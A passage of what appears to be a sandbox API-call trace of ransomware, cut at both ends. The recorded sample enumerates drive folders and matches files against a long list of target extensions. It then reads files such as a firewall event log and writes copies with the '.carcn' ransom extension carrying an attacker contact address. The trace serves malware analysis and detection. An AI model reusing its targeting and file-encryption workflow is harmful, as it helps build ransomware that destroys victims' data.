(lpString=".dbf") returned 4 [0182.333] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.333] lstrlenW (lpString=".1cd") returned 4 [0182.333] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.333] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0182.333] lstrlenW (lpString=".jpg") returned 4 [0182.333] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.333] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.333] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0182.333] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.334] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1052672) returned 1 [0182.334] CloseHandle (hObject=0x2e0) returned 1 [0182.335] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0182.335] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.335] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.335] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.335] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.335] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0182.335] GetLastError () returned 0x0 [0182.335] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0183.340] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0183.380] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x1010, lpOverlapped=0x0) returned 1 [0183.889] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x1020, lpOverlapped=0x0) returned 1 [0184.130] ReadFile (in: hFile=0x2e0, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.130] WriteFile (in: hFile=0x310, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x164, lpOverlapped=0x0) returned 1 [0184.130] SetEndOfFile (hFile=0x310) Thread: id = 15 os_tid = 0xd60 [0157.938] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3b00e00 [0157.939] lstrlenW (lpString="C:") returned 2 [0157.939] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 0x7a97b0 [0157.939] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.939] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0157.939] lstrlenW (lpString="$GetCurrent") returned 11 [0157.939] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0157.939] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3b10e08 [0157.940] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.940] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x7f57d8 [0157.973] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0157.973] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0157.973] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.973] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0157.973] lstrlenW (lpString="Logs") returned 4 [0157.973] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0157.973] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0157.974] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.974] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f55d8 [0157.986] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.002] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.002] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0158.002] lstrlenW (lpString=".1cd") returned 4 [0158.002] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.002] lstrlenW (lpString=".3ds") returned 4 [0158.002] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0158.002] lstrlenW (lpString=".3fr") returned 4 [0158.002] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0158.002] lstrlenW (lpString=".3g2") returned 4 [0158.002] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0158.002] lstrlenW (lpString=".3gp") returned 4 [0158.002] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0158.002] lstrlenW (lpString=".7z") returned 3 [0158.002] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.002] lstrlenW (lpString=".accda") returned 6 [0158.002] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0158.002] lstrlenW (lpString=".accdb") returned 6 [0158.002] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0158.002] lstrlenW (lpString=".accdc") returned 6 [0158.002] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0158.002] lstrlenW (lpString=".accde") returned 6 [0158.002] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0158.003] lstrlenW (lpString=".accdt") returned 6 [0158.003] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0158.003] lstrlenW (lpString=".accdw") returned 6 [0158.003] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0158.003] lstrlenW (lpString=".adb") returned 4 [0158.003] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0158.003] lstrlenW (lpString=".adp") returned 4 [0158.003] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0158.003] lstrlenW (lpString=".ai") returned 3 [0158.003] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0158.003] lstrlenW (lpString=".ai3") returned 4 [0158.003] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0158.003] lstrlenW (lpString=".ai4") returned 4 [0158.003] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0158.003] lstrlenW (lpString=".ai5") returned 4 [0158.003] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0158.003] lstrlenW (lpString=".ai6") returned 4 [0158.004] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".ai7") returned 4 [0158.004] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".ai8") returned 4 [0158.004] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".anim") returned 5 [0158.004] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0158.004] lstrlenW (lpString=".arw") returned 4 [0158.004] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".as") returned 3 [0158.004] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0158.004] lstrlenW (lpString=".asa") returned 4 [0158.004] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".asc") returned 4 [0158.004] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".ascx") returned 5 [0158.004] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0158.004] lstrlenW (lpString=".asm") returned 4 [0158.004] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".asmx") returned 5 [0158.004] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0158.004] lstrlenW (lpString=".asp") returned 4 [0158.004] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".aspx") returned 5 [0158.004] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0158.004] lstrlenW (lpString=".asr") returned 4 [0158.004] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0158.004] lstrlenW (lpString=".asx") returned 4 [0158.005] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".avi") returned 4 [0158.005] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".avs") returned 4 [0158.005] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".backup") returned 7 [0158.005] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0158.005] lstrlenW (lpString=".bak") returned 4 [0158.005] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".bay") returned 4 [0158.005] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".bd") returned 3 [0158.005] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0158.005] lstrlenW (lpString=".bin") returned 4 [0158.005] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".bmp") returned 4 [0158.005] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".bz2") returned 4 [0158.005] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".c") returned 2 [0158.005] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0158.005] lstrlenW (lpString=".cdr") returned 4 [0158.005] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".cer") returned 4 [0158.005] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0158.005] lstrlenW (lpString=".cf") returned 3 [0158.005] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0158.006] lstrlenW (lpString=".cfc") returned 4 [0158.006] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".cfm") returned 4 [0158.006] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".cfml") returned 5 [0158.006] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0158.006] lstrlenW (lpString=".cfu") returned 4 [0158.006] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".chm") returned 4 [0158.006] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".cin") returned 4 [0158.006] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".class") returned 6 [0158.006] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0158.006] lstrlenW (lpString=".clx") returned 4 [0158.006] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".config") returned 7 [0158.006] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0158.006] lstrlenW (lpString=".cpp") returned 4 [0158.006] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".cr2") returned 4 [0158.006] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".crt") returned 4 [0158.006] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".crw") returned 4 [0158.006] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".cs") returned 3 [0158.006] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0158.006] lstrlenW (lpString=".css") returned 4 [0158.006] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0158.006] lstrlenW (lpString=".csv") returned 4 [0158.006] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".cub") returned 4 [0158.007] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dae") returned 4 [0158.007] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dat") returned 4 [0158.007] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".db") returned 3 [0158.007] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0158.007] lstrlenW (lpString=".dbf") returned 4 [0158.007] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dbx") returned 4 [0158.007] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dc3") returned 4 [0158.007] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dcm") returned 4 [0158.007] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dcr") returned 4 [0158.007] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".der") returned 4 [0158.007] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dib") returned 4 [0158.007] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dic") returned 4 [0158.007] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".dif") returned 4 [0158.007] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".divx") returned 5 [0158.007] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0158.007] lstrlenW (lpString=".djvu") returned 5 [0158.007] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0158.007] lstrlenW (lpString=".dng") returned 4 [0158.007] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".doc") returned 4 [0158.007] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.007] lstrlenW (lpString=".docm") returned 5 [0158.008] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0158.008] lstrlenW (lpString=".docx") returned 5 [0158.008] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0158.008] lstrlenW (lpString=".dot") returned 4 [0158.008] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dotm") returned 5 [0158.008] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0158.008] lstrlenW (lpString=".dotx") returned 5 [0158.008] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0158.008] lstrlenW (lpString=".dpx") returned 4 [0158.008] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dqy") returned 4 [0158.008] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dsn") returned 4 [0158.008] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dt") returned 3 [0158.008] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0158.008] lstrlenW (lpString=".dtd") returned 4 [0158.008] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dwg") returned 4 [0158.008] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dwt") returned 4 [0158.008] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".dx") returned 3 [0158.008] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0158.008] lstrlenW (lpString=".dxf") returned 4 [0158.008] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".edml") returned 5 [0158.008] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0158.008] lstrlenW (lpString=".efd") returned 4 [0158.008] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".elf") returned 4 [0158.008] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".emf") returned 4 [0158.008] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0158.008] lstrlenW (lpString=".emz") returned 4 [0158.009] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".epf") returned 4 [0158.009] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".eps") returned 4 [0158.009] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".epsf") returned 5 [0158.009] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0158.009] lstrlenW (lpString=".epsp") returned 5 [0158.009] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0158.009] lstrlenW (lpString=".erf") returned 4 [0158.009] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".exr") returned 4 [0158.009] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".f4v") returned 4 [0158.009] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".fido") returned 5 [0158.009] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0158.009] lstrlenW (lpString=".flm") returned 4 [0158.009] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".flv") returned 4 [0158.009] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".frm") returned 4 [0158.009] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".fxg") returned 4 [0158.009] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".geo") returned 4 [0158.009] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".gif") returned 4 [0158.009] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".grs") returned 4 [0158.009] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0158.009] lstrlenW (lpString=".gz") returned 3 [0158.009] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0158.009] lstrlenW (lpString=".h") returned 2 [0158.009] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0158.010] lstrlenW (lpString=".hdr") returned 4 [0158.010] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".hpp") returned 4 [0158.010] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".hta") returned 4 [0158.010] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".htc") returned 4 [0158.010] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".htm") returned 4 [0158.010] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".html") returned 5 [0158.010] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0158.010] lstrlenW (lpString=".icb") returned 4 [0158.010] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".ics") returned 4 [0158.010] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".iff") returned 4 [0158.010] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".inc") returned 4 [0158.010] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".indd") returned 5 [0158.010] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0158.010] lstrlenW (lpString=".ini") returned 4 [0158.010] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".iqy") returned 4 [0158.010] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".j2c") returned 4 [0158.010] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".j2k") returned 4 [0158.010] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".java") returned 5 [0158.010] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0158.010] lstrlenW (lpString=".jp2") returned 4 [0158.010] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0158.010] lstrlenW (lpString=".jpc") returned 4 [0158.010] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".jpe") returned 4 [0158.011] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".jpeg") returned 5 [0158.011] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0158.011] lstrlenW (lpString=".jpf") returned 4 [0158.011] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".jpg") returned 4 [0158.011] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".jpx") returned 4 [0158.011] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".js") returned 3 [0158.011] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0158.011] lstrlenW (lpString=".jsf") returned 4 [0158.011] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".json") returned 5 [0158.011] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0158.011] lstrlenW (lpString=".jsp") returned 4 [0158.011] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".kdc") returned 4 [0158.011] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".kmz") returned 4 [0158.011] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".kwm") returned 4 [0158.011] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".lasso") returned 6 [0158.011] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0158.011] lstrlenW (lpString=".lbi") returned 4 [0158.011] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".lgf") returned 4 [0158.011] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".lgp") returned 4 [0158.011] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0158.011] lstrlenW (lpString=".log") returned 4 [0158.012] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0158.012] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.012] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0158.012] lstrlenW (lpString=".1cd") returned 4 [0158.012] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".3ds") returned 4 [0158.012] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".3fr") returned 4 [0158.012] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".3g2") returned 4 [0158.012] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".3gp") returned 4 [0158.012] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".7z") returned 3 [0158.012] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.012] lstrlenW (lpString=".accda") returned 6 [0158.012] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".accdb") returned 6 [0158.012] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".accdc") returned 6 [0158.012] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".accde") returned 6 [0158.012] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".accdt") returned 6 [0158.012] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".accdw") returned 6 [0158.012] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0158.012] lstrlenW (lpString=".adb") returned 4 [0158.012] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0158.012] lstrlenW (lpString=".adp") returned 4 [0158.013] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai") returned 3 [0158.013] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0158.013] lstrlenW (lpString=".ai3") returned 4 [0158.013] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai4") returned 4 [0158.013] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai5") returned 4 [0158.013] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai6") returned 4 [0158.013] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai7") returned 4 [0158.013] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ai8") returned 4 [0158.013] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".anim") returned 5 [0158.013] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0158.013] lstrlenW (lpString=".arw") returned 4 [0158.013] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".as") returned 3 [0158.013] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0158.013] lstrlenW (lpString=".asa") returned 4 